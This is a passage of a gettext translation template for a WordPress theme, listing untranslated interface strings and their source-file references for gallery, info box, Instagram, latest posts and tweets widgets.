msgid "Style 4 ( Justified )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:61
#: inc/js_composer/shortcodes/image_gallery/settings.php:26
msgid "Style 5 ( Masonry )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:62
#: inc/js_composer/shortcodes/image_gallery/settings.php:27
msgid "Style 6 ( Slider )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:63
msgid "Style 7 ( Slider with Thumbnail )"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:91
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:85
#: inc/js_composer/shortcodes/image_gallery/settings.php:56
msgid "Image Type"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:95
#: inc/js_composer/shortcodes/image_gallery/settings.php:59
msgid "-- Default --"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:96
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:91
#: inc/gutenberg/block/portfolio/index.js:52
#: inc/gutenberg/block/recipe-index/index.js:45
#: inc/js_composer/shortcodes/image_gallery/settings.php:60
#: inc/js_composer/soledad_vc.php:1426
msgid "Landscape"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:97
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:90
#: inc/gutenberg/block/portfolio/index.js:51
#: inc/gutenberg/block/recipe-index/index.js:47
#: inc/js_composer/shortcodes/image_gallery/settings.php:61
#: inc/js_composer/soledad_vc.php:1425 inc/widgets/categories_stylist.php:236
msgid "Vertical"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:128
msgid "Thumbnails Image Ratio"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:143
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:144
#: inc/instagram/widget.php:226
#: inc/js_composer/shortcodes/image_gallery/settings.php:68
msgid "Caption"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:147
#: inc/js_composer/shortcodes/image_gallery/settings.php:71
msgid "Attachment Caption"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:192
#: inc/js_composer/shortcodes/image_gallery/settings.php:117
msgid "Custom the height of images"
msgstr ""

#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:216
#: inc/js_composer/shortcodes/image_gallery/settings.php:143
msgid "Gallery"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:24
msgid " Info Box"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:44
#: inc/js_composer/shortcodes/info_box/settings.php:12
msgid "Info Box"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:54
msgid "SVG"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:88
msgid "Choose Image Hover"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:106
msgid "Icon or SVG"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:132
#: inc/js_composer/shortcodes/info_box/settings.php:152
msgid "Stacked"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:133
#: inc/js_composer/shortcodes/info_box/settings.php:153
msgid "Framed"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:158
#: inc/js_composer/shortcodes/info_box/settings.php:177
msgid "Grow"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:159
#: inc/js_composer/shortcodes/info_box/settings.php:178
msgid "Shrink"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:160
#: inc/js_composer/shortcodes/info_box/settings.php:179
msgid "Pulse"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:161
#: inc/js_composer/shortcodes/info_box/settings.php:180
msgid "Pulse Grow"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:162
#: inc/js_composer/shortcodes/info_box/settings.php:181
msgid "Pulse Shrink"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:164
#: inc/js_composer/shortcodes/info_box/settings.php:183
msgid "Pop"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:165
#: inc/js_composer/shortcodes/info_box/settings.php:184
msgid "Custom Style 1"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:166
#: inc/js_composer/shortcodes/info_box/settings.php:185
msgid "Custom Style 2"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:167
#: inc/js_composer/shortcodes/info_box/settings.php:186
msgid "Custom Style 3"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:168
#: inc/js_composer/shortcodes/info_box/settings.php:187
msgid "Custom Style 4"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:169
#: inc/js_composer/shortcodes/info_box/settings.php:188
msgid "Custom Style 5"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:180
#: inc/js_composer/shortcodes/info_box/settings.php:54
msgid "Top center"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:181
#: inc/js_composer/shortcodes/info_box/settings.php:55
msgid "Top right"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:182
#: inc/js_composer/shortcodes/info_box/settings.php:56
msgid "Float left"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:183
#: inc/js_composer/shortcodes/info_box/settings.php:57
msgid "Float right"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:224
#: inc/js_composer/shortcodes/info_box/settings.php:196
msgid "Width/Height for Box Contain Icon"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:239
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:302
msgid "Enter your sub title"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:256
msgid "Use Line Below The Title"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:264
msgid "Custom Height of Line"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:273
msgid "Custom Width of Line"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:285
msgid ""
"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, "
"luctus nec ullamcorper mattis, pulvinar dapibus leo."
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:292
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:329
msgid "Add Read More Button"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:320
msgid "Wrap Link for Whole Info Box?"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:342
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:776
msgid "Sub Title Margin Bottom"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:353
msgid "Margin Bottom for Box Contain Icon"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:363
msgid "Margin Left for Box Contain Icon"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:373
msgid "Margin Right for Box Contain Icon"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:383
msgid "Title Padding Top"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:391
#: inc/js_composer/shortcodes/about_me/settings.php:139
msgid "Title Margin Bottom"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:399
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:787
#: inc/js_composer/shortcodes/testimonails/settings.php:144
msgid "Description Margin Top"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:408
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:798
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1067
msgid "Read More Button Margin Top"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:428
#: inc/js_composer/shortcodes/info_box/settings.php:286
msgid "Infor Box"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:447
msgid "Infor Box Background"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:474
msgid "Infor Box Hover Background"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:495
msgid "Infor Box Padding"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:506
msgid "Infor Box Borders Radius"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:536
msgid "Sub Title Hover Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:546
msgid "Sub Title Typography"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:589
msgid "Line Below The Title Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:599
msgid "Line Below The Title Hover Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:627
msgid "Description Hover Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:672
#: inc/js_composer/inc/vc-params-helper.php:49
msgid "Icon Background Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:688
#: inc/js_composer/inc/vc-params-helper.php:42
msgid "Icon Border Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:715
#: inc/js_composer/inc/vc-params-helper.php:71
msgid "Icon Hover Background Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:732
#: inc/js_composer/inc/vc-params-helper.php:64
msgid "Icon Hover Border Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:752
msgid "Font Size for Icon/SVG"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:766
msgid "Icon Text Typography"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:774
msgid "Custom Icon Padding"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:837
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:220
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1145
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:581
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:431
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:391
msgid "Button Typography"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:857
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1163
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:970
msgid "Button Borders Radius"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:869
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1174
msgid "Add Button Borders"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:880
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1184
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:960
msgid "Button Borders Width"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:893
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:643
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1197
msgid "Button Borders Color"
msgstr ""

#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:903
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:653
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1207
msgid "Button Hover Borders Color"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:19
msgid " Instagram Feed"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:40
msgid "Instagram Options"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:58
#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:54
#: inc/js_composer/shortcodes/instagram/settings.php:25
msgid "Number of images to show"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:62
msgid ""
"You can shows 12 latest images from a public Instagram user( maximum 12 )"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:67
#: inc/js_composer/shortcodes/instagram/settings.php:45
msgid "Check for new images every"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:70
msgid "Unix is hour(s)"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:79
#: inc/instagram/widget.php:132
msgid "Thumbnails - Without Border"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:80
#: inc/instagram/widget.php:133
msgid "Thumbnails"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:81
#: inc/instagram/widget.php:134
msgid "Slider - Normal"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:82
#: inc/instagram/widget.php:135
msgid "Slider - Overlay Text"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:89
#: inc/js_composer/shortcodes/web_stories/settings.php:103
msgid "Number of Columns"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:109
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:92
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:146
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:99
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:104
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:128
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:264
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:224
#: inc/elementor/modules/penci-product/widgets/penci-product.php:131
#: inc/gutenberg/block/featured-cat/index.js:96 inc/instagram/widget.php:150
#: inc/js_composer/inc/product_param.php:74
#: inc/js_composer/params/loop/register.php:281
#: inc/js_composer/shortcodes/instagram/settings.php:83
#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:85
#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:99
#: inc/js_composer/shortcodes/product/settings.php:77
#: inc/js_composer/shortcodes/product_brand/settings.php:23
msgid "Order by"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:113
#: inc/instagram/widget.php:153
#: inc/js_composer/shortcodes/instagram/settings.php:86
msgid "Date - Ascending"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:114
#: inc/instagram/widget.php:154
#: inc/js_composer/shortcodes/instagram/settings.php:87
msgid "Date - Descending"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:115
#: inc/instagram/widget.php:155
#: inc/js_composer/shortcodes/instagram/settings.php:88
msgid "Popularity - Ascending"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:116
#: inc/instagram/widget.php:156
#: inc/js_composer/shortcodes/instagram/settings.php:89
msgid "Popularity - Descending"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:117
#: inc/instagram/widget.php:157 inc/js_composer/params/loop/register.php:351
#: inc/js_composer/shortcodes/instagram/settings.php:90
msgid "Random"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:123
#: inc/js_composer/shortcodes/instagram/settings.php:96
msgid "On click action"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:128
#: inc/js_composer/shortcodes/instagram/settings.php:100
msgid "Instagram image"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:129
#: inc/instagram/widget.php:166
#: inc/js_composer/shortcodes/instagram/settings.php:101
msgid "Instagram Profile"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:130
#: inc/instagram/widget.php:167
#: inc/js_composer/shortcodes/instagram/settings.php:102
msgid "Attachment Page"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:136
msgid "Slider Text Description"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:160
#: inc/js_composer/shortcodes/instagram/settings.php:114
msgid "Slider Navigation Controls"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:165
#: inc/instagram/widget.php:191
#: inc/js_composer/shortcodes/instagram/settings.php:118
msgid "Prev & Next"
msgstr ""

#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:172
#: inc/js_composer/shortcodes/instagram/settings.php:126
msgid "Number of words in caption"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:22
msgid " Latest Posts"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:77
#: inc/template-builder/archive-elements/posts.php:74
msgid "Featured Boxed"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:89
#: inc/template-builder/archive-elements/posts.php:86
msgid "Mixed Posts Larger"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:101
#: inc/template-builder/archive-elements/posts.php:98
msgid "1st Overlay Then Grid 2 Columns"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:103
#: inc/template-builder/archive-elements/posts.php:100
msgid "1st Overlay Then Boxed"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:108
#: inc/js_composer/soledad_vc.php:110
#: inc/template-builder/archive-elements/posts.php:107
msgid "Mixed Post Style"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:118
#: inc/js_composer/soledad_vc.php:121
#: inc/template-builder/archive-elements/posts.php:119
msgid "Post Header Alignment"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:154
msgid "Horizontal Gap Between Post Items"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:243
#: inc/js_composer/soledad_vc.php:850 inc/js_composer/soledad_vc.php:1466
#: inc/template-builder/archive-elements/posts.php:233
msgid "Custom Number Posts for Each Time Load More Posts"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:263
#: inc/js_composer/soledad_vc.php:191
#: inc/template-builder/archive-elements/posts.php:257
msgid "Standard & Classic Layouts Options"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:349
#: inc/js_composer/soledad_vc.php:405
#: inc/template-builder/archive-elements/posts.php:355
msgid "Align \"Continue Reading\" Button"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:363
#: inc/js_composer/soledad_vc.php:442
#: inc/template-builder/archive-elements/posts.php:371
msgid "Other Layouts Options"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:413
#: inc/js_composer/soledad_vc.php:496
#: inc/template-builder/archive-elements/posts.php:431
msgid "Custom Image Size for Big Posts"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:414
#: inc/template-builder/archive-elements/posts.php:432
msgid ""
"This option apply for Overlay Posts & Big Posts on \"Mixed Post\" & \"Mixed "
"Posts Large\" Layout"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:452
#: inc/template-builder/archive-elements/posts.php:476
msgid "Remove Border Bottom on List Layouts"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:461
#: inc/template-builder/archive-elements/posts.php:487
msgid "Remove Border Left & Right on Share Box"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:553
#: inc/js_composer/soledad_vc.php:810
#: inc/template-builder/archive-elements/posts.php:594
msgid "Image Width on List & Small List Layout"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:584
#: inc/js_composer/soledad_vc.php:869
#: inc/template-builder/archive-elements/posts.php:625
msgid "In-feed Ads"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:594
#: inc/template-builder/archive-elements/posts.php:639
msgid "Insert In-feed Ads After Every How Many Posts?"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:611
#: inc/template-builder/archive-elements/posts.php:661
msgid "Follow Selected Layout"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:628
#: inc/js_composer/inc/vc-params-helper.php:972
#: inc/js_composer/inc/vc-params-helper.php:1485
#: inc/js_composer/shortcodes/recent_posts/settings.php:257
#: inc/template-builder/archive-elements/posts.php:681
msgid "Post Border Color"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:699
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:919
#: inc/template-builder/archive-elements/posts.php:738
#: inc/template-builder/archive-elements/posts.php:1009
msgid "Color for Big Post"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:706
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:929
#: inc/template-builder/archive-elements/posts.php:747
#: inc/template-builder/archive-elements/posts.php:1021
msgid "Hover Color for Big Post"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:758
#: inc/template-builder/archive-elements/posts.php:816
msgid "Author Color"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:765
#: inc/template-builder/archive-elements/posts.php:825
msgid "Author Color for Big Post"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:838
#: inc/template-builder/archive-elements/posts.php:910
msgid "Border Color for Big Post"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:898
#: inc/template-builder/archive-elements/posts.php:982
msgid "Post Category"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:965
#: inc/template-builder/archive-elements/posts.php:1064
msgid "Continue Reading/Read More Button"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1006
#: inc/template-builder/archive-elements/posts.php:1125
msgid "Continue Reading Typography"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1011
#: inc/template-builder/archive-elements/posts.php:1132
msgid "Read More Button Typography"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1024
#: inc/template-builder/archive-elements/posts.php:1151
msgid "Social Share"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1089
#: inc/template-builder/archive-elements/posts.php:1238
msgid "Borders Color for Featured Boxed Style"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1097
#: inc/template-builder/archive-elements/posts.php:1249
msgid "Background Color for Featured Boxed Style"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1117
#: inc/js_composer/inc/vc-params-helper.php:1406
#: inc/template-builder/archive-elements/posts.php:1275
msgid "Font size for Load More Icon"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1179
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:336
#: inc/template-builder/archive-elements/posts.php:1353
msgid "Hover Border Color"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1202
#: inc/template-builder/archive-elements/posts.php:1380
msgid "Space Between"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1230
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1346
#: inc/template-builder/single-elements/featured-overlay.php:92
msgid "Categories Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1276
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1408
msgid "Read More Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1300
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1398
msgid "Share Box Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1312
msgid "Elements Spacing for Big Post"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:20
msgid " Latest Tweets"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:40
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:153
#: inc/js_composer/shortcodes/latest_tweets/settings.php:11
msgid "Latest Tweets"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:45
#, php-format
msgid ""
"Note Important: To use this widget you need to connect your Twitter account "
"<a target=\"_blank\" href=\"%s\">here</a>"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:54
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:55
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:690
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:169
#: inc/js_composer/shortcodes/latest_tweets/settings.php:25
#: inc/js_composer/shortcodes/testimonails/settings.php:28
#: inc/js_composer/shortcodes/web_stories/settings.php:97
msgid "Slider"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:59
msgid "Align This Widget"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:64
#: inc/gutenberg/block/blockquote/index.js:37
#: inc/js_composer/shortcodes/about_me/settings.php:74
#: inc/js_composer/shortcodes/button_popup/settings.php:35
#: inc/js_composer/shortcodes/button_popup/settings.php:140
#: inc/js_composer/shortcodes/button_popup/settings.php:171
#: inc/js_composer/shortcodes/counter_up/settings.php:31
#: inc/js_composer/shortcodes/latest_tweets/settings.php:35
#: inc/js_composer/soledad_vc.php:1336
msgid "Align Center"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:65
#: inc/gutenberg/block/blockquote/index.js:36
#: inc/js_composer/shortcodes/about_me/settings.php:73
#: inc/js_composer/shortcodes/button_popup/settings.php:34
#: inc/js_composer/shortcodes/button_popup/settings.php:139
#: inc/js_composer/shortcodes/button_popup/settings.php:170
#: inc/js_composer/shortcodes/counter_up/settings.php:32
#: inc/js_composer/shortcodes/latest_tweets/settings.php:36
#: inc/js_composer/soledad_vc.php:1335
msgid "Align Left"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:66
#: inc/gutenberg/block/blockquote/index.js:38
#: inc/js_composer/shortcodes/about_me/settings.php:75
#: inc/js_composer/shortcodes/button_popup/settings.php:36
#: inc/js_composer/shortcodes/button_popup/settings.php:141
#: inc/js_composer/shortcodes/counter_up/settings.php:33
#: inc/js_composer/shortcodes/latest_tweets/settings.php:37
#: inc/js_composer/soledad_vc.php:1337
msgid "Align Right"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:71
#: inc/js_composer/shortcodes/latest_tweets/settings.php:43
msgid "Hide tweets date?"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:78
#: inc/js_composer/shortcodes/latest_tweets/settings.php:52
msgid "Disable Auto Play Tweets Slider?"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:86
msgid "Custom Reply text"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:92
msgid "Custom Retweet text"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:93
#: inc/js_composer/shortcodes/latest_tweets/settings.php:70
#: inc/widgets/latest_tweets.php:52 inc/widgets/latest_tweets.php:178
msgid "Retweet"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:98
msgid "Custom Favorite text"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:99
#: inc/js_composer/shortcodes/latest_tweets/settings.php:76
#: inc/widgets/latest_tweets.php:53 inc/widgets/latest_tweets.php:179
msgid "Favorite"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:112
msgid "Tweet Icon Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:119
msgid "Tweet Date Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:125
msgid "Tweet Title Spacing"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:131
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:206
msgid "Reply / Retweet/ Favorite Links & Icons"
msgstr ""

#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:137
